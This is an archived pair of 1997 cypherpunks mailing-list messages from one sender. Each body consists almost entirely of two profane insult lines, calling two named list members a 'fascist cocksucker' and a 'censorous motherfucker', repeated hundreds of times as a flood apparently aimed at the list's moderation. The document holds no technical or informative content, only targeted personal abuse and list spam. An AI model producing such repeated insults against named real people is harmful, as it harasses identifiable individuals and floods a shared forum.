Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:30:49 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855770914.521048.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:30:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855770888.520812.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
